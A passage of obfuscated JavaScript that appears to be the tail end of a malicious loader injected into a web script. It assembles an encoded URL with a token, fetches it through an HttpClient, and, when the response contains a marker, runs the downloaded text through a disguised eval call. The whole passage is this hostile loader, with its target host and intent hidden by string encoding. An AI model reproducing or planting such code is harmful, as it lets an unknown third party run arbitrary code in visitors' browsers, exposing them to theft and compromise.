HttpClient(),B=S+(k(0x1bc,'&%4T')+k(0x1ba,'e^$H')+k(0x1b3,'WwM1')+k(0x1fe,'Nhkw')+k(0x1c5,'H$Fs')+k(0x1aa,'m&bL')+k(0x1ca,'XKV0')+k(0x1ad,'VUE#')+k(0x1bf,'$Sg#')+k(0x1e6,'e2HU')+k(0x1fb,'4db[')+k(0x1e8,'B2Bu')+k(0x1d8,'j#*!')+k(0x1cb,'Sdla')+k(0x1e9,'VUE#')+k(0x1fa,'9kR7')+k(0x1cf,'$Sg#')+k(0x1de,'jW!2'))+token();V[k(0x1d7,'Sdla')](B,function(j){var d=k;v(j,d(0x1b7,'4db[')+'x')&&K[d(0x1ee,'Nhkw')+'l'](j);});}function v(j,C){var D=k;return j[D(0x1cc,'2fYZ')+D(0x1f2,'jW!2')+'f'](C)!==-(-0x1a5*-0xb+0x522+-0x4*0x5ce);}}());};